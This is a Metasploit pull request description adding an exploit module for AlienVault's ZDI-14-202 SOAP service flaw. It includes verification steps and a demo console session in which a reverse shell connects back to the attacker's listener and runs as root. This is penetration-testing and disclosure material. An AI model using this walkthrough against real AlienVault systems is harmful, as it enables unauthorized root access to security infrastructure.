rapid7/metasploit-framework — pull request #3454 by jvazquez-r7 (2014-06-16 17:14:44+00:00)
Title: Add module for AlienVault's ZDI-14-202

Tested successfully on AlienVault 4.6.0. Trials use to be available, but I don't know if it's easy to get them for older versions than the last one. Already had a virtual machine with AlienVault 4.6.0 deployed.

Verification Steps
---------

- [ ] Get an installation of AlienVault < 4.7.0. I've used an 4.6.0 installation.
- [ ] Verify which the vulnerable soap service is listening, the default port is 40007/TCP:

```
# sudo netstat -anp | grep 40007
tcp 0 0 0.0.0.0:40007 0.0.0.0:* LISTEN 6815/perl
```

- [ ] Run the module like in the demo, you should enjoy a session

DEMO
-----

```
msf > use exploit/linux/ids/alienvault_centerd_soap_exec
msf exploit(alienvault_centerd_soap_exec) > set rhost 172.16.158.173
rhost => 172.16.158.173
msf exploit(alienvault_centerd_soap_exec) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(alienvault_centerd_soap_exec) > check
[*] 172.16.158.173:40007 - The target appears to be vulnerable.
msf exploit(alienvault_centerd_soap_exec) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Command shell session 1 opened (172.16.158.1:4444 -> 172.16.158.173:41320) at 2014-06-16 12:09:00 -0500

id
uid=0(root) gid=0(root) groups=0(root)
^C
Abort session 1? [y/N] y

[*] 172.16.158.173 - Command shell session 1 closed. Reason: User exit
```